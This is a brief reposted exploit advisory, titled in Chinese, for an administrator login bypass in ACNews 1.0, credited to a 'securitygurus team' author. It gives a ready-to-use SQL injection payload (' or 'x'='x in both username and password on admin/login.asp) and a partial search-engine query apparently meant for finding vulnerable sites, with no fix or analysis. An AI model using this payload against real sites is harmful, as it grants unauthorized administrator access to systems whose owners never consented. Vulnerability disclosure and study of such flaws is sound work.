[转载]ACNews 1.0管理员验证绕过

  信息来源：securitygurus team
文章作者：LaMeR

# http://www.google.com/search?hl= ... asp&btnG=Search
# /str0ke

Product:ACNews
version :1.0
VULNERABILITY CLASS: SQL injection

[exploit]
Log in with
username:' or 'x'='x
password :' or 'x'='x
from admin/login.asp page.

greetz to HaXoR & LOverboy